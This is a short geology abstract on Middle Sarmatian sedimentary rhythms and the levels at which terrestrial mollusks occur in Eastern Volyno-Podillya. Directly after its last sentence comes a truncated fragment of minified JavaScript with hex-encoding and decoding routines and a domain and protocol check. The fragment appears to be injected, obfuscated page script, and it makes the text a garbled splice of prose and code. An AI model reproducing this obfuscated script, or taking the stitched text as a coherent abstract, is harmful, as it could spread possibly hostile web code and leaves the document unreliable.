Abstract

Strata of the Middle Sarmatian deposits in the Eastern Volyno-Podillya are composed of three sedimintary rhithms corresponded to the Novomoskovian and Dnipropetrovsko-Vasilievsky layers from the Borysthenes bay. The terrestrial mollusks uccurrence is confined to two stratigraphic datums. The lower datum belongs to the low part of the Novomoskovian layers and the higher one may correspond to either the end of the Novomoskovian age or the bedinning of the Dnipro- petrovsko-Vasilievsky one. The mollusks occurrence list is represented.// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "geojournal.igs-nas.org.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e

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